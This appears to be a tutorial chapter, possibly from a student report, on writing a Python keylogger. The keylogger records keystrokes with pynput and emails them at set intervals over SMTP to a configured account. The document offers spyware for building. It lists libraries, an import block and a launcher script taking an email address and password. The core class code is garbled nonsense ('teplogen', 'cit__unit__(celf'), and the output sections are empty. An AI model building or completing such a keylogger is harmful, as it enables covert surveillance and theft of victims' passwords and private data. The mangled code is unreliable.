## **Chapter-3: Keylogger**

## 3.1) **Definition:**

A keylogger, sometimes called a keystroke logger or keyboard capture, is a type of surveillance technology used to monitor and record each keystroke on a specific computer. Keylogger software is also available for use on smartphones, such as the Apple iPhone and Android devices.

Keyloggers are often used as a spyware tool by cybercriminals to steal personally identifiable information (PII), login credentials and sensitive enterprise data.

#### Types of keyloggers:

Hardware-based keylogger

Keylogging software program

#### 3.2) Tools Required:

- 1. Kali Linux
- 2. Python3
- 3. PyCharm (Python-IDE)

## 3.3) Procedure:

3.3.1) Step1: Python Libraries:

Install required Python libraries

1. **Pynput**: The Pynput library allows you to control and monitor/listen to your input devices such as they keyboard and mouse.

- 2. **Threading:** The threading module exposes all the methods of the thread module and provides some additional methods
- 3. **Smtplib:** The smtplib module defines an SMTP client session object that can be used to send mail to any internet machine with an SMTP or ESMTP listener daemon.

#### 3.3.2) Step -2: Script the Keylogger

1. Import all the Libraries to the script with filename **keylogger.py**:

```
1 #!usr/bin/env python
2 import pynput.keyboard
3 import threading
4 import smtplib
5
```

2. Initialize the class and methods:

```
class teplogen:

cit__unit__(celf, time_interval, email, passoord):

self.ing = "[-] teplogen_started"

self.ing = "[-] teplogen_started"

self.ing = self
```

3. Import the keylogger module to the file zlogger.py

```
#!usr/bin/env python

import keylogger

my_keylogger = keylogger.Keylogger(600, "email_address", "password") #Enter the duration to send an email (in sec ), email address and password of your email_account

my_keylogger.start()
```

#### 4. User Inputs:

Enter the duration to send the keystrokes along with email\_id and password

```
my_keylogger = keylogger.Keylogger(600, "email_address", "password") #Enter the duration to send an email (in sec ), email address and password of your email_account
```

# 3.4) Execution:

Command: > python keylogger.py

```
Terminal: keylogger.py × zlogger.py × + ✓

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```

Command: > python zlogger.py

```
Terminal: keylogger.py × zlogger.py × + V

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```

# 3.5) Output:



